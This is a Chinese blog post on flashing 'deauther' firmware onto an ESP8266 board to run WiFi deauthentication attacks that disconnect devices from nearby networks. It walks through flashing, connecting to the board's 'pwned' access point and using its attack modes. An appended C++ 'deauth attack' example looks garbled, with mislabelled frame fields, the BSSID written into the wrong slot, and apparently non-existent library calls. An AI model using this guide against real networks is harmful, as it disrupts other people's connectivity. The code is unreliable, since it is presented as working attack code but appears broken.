利用ESP8266模块制作便携WiFi杀手进行deauth攻击

起因是这样的:

前几天突然想起以前玩过的kali攻击WiFi,用的是aircrack-ng一套工具,然后又对WiFi的攻击起了三分钟热情。但是突然想起kali虚拟机必须要外置网卡才能挂载,自己做的u盘启动盘又因为电脑太垃圾导致难以运用。。。

然后想起了以前b站上有人做过的一个esp8266板子的视频,可以刷WiFi杀手的固件,于是乎当即下单买了块esp8266的板子,盼了几天今天终于到了,迫不及待地开箱测试。
准备材料:

  1. ESP8266模块
  2. 数据线和TypeC转接头(因为手里暂时没有microusb的线,还有记住要能传数据)
  3. ESP8266 deauther 下载地址(汉化版有需要的可以留言)
  4. ESP8266烧写工具和驱动
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5L0VUaRZ-1583292123021)(http://blog.ysneko.com/usr/uploads/image/IMG_20191220_122744-1-1024x768.jpg)]

长这个样子滴,准备完后开始烧写。

数据线连接电脑,此时指示灯会闪烁蓝光一下然后就没反应,不用管,打开设备管理器,查看端口,如果读不出来请更新驱动:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1d4J7Yfm-1583292123026)(http://blog.ysneko.com/usr/uploads/image/Snipaste_2019-12-20_17-51-14.png)]

读出来后打开烧写工具,Config中的路径需要自己输入固件的路径,变绿说明路径正确:

Advance选项中的配置按下图调整:

设置好后点击主页的Flash按钮开始烧写,左下角绿钩说明烧写成功。

然后把数据线接在稳定电源上(虽然功率不大但还是保险一点),指示灯仍然只会亮一会儿就关闭,说明启动成功。

启动后ESP8266会开启一个WiFi,默认名称为pwned,默认密码为deauther

连接pwned,然后在浏览器输入192.168.4.1:

在这里插入图片描述

到这里说明固件刷去成功了,下面是他的三种攻击模式:

在这里插入图片描述

效果:


在这里插入图片描述

本文为原创,转载请注明出处。

以下是使用ESP8266实现Deauth攻击的代码示例: ```C++ #include <ESP8266WiFi.h> void setup() { delay(1000); WiFi.mode(WIFI_STA); //设置为客户端模式 } void loop() { WiFi.disconnect(); //断开与当前WiFi网络的连接 delay(100); WiFi.scanNetworks(); //扫描周围的WiFi网络 delay(100); for (int i = 0; i < WiFi.scanComplete(); i++) { //获取周围WiFi网络的BSSID和SSID String ssid = WiFi.SSID(i); String bssid = WiFi.BSSIDstr(i); //构建Deauth数据包 uint8_t packet[26] = { 0xC0, 0x00, //类型、子类型 0x00, 0x00, //时序 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //目标MAC地址 0x84, 0x0D, 0x8E, 0x89, 0x3D, 0x70, //源MAC地址 0x00, 0x00, //碎片序列号 0x00, 0x00, //Beacon时间戳 0x0A, 0x00, //Beacon间隔时间 0x00, 0x01, //Capability信息 0x00, 0x00 //RSN信息 }; //将目标MAC地址替换为当前扫描到的WiFi网络的BSSID for (int j = 0; j < 6; j++) { packet[j + 10] = strtol(bssid.substring(j * 3, j * 3 + 2).c_str(), NULL, 16); } //发送Deauth数据包 WiFi.rawChannel(10); //切换到信道10 delay(100); WiFi.sendPacket(packet, 26); //发送Deauth数据包 delay(100); } WiFi.scanDelete(); //删除扫描结果 delay(1000); } ``` 该代码会循环执行以下操作: 1. 断开与当前WiFi网络的连接; 2. 扫描周围的WiFi网络; 3. 对于每个扫描到的WiFi网络,构建一个Deauth数据包,并将目标MAC地址替换为该WiFi网络的BSSID; 4. 在信道10上发送Deauth数据包。 需要注意的是,Deauth攻击可能会违反法律法规,请勿将此代码用于非法用途。
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值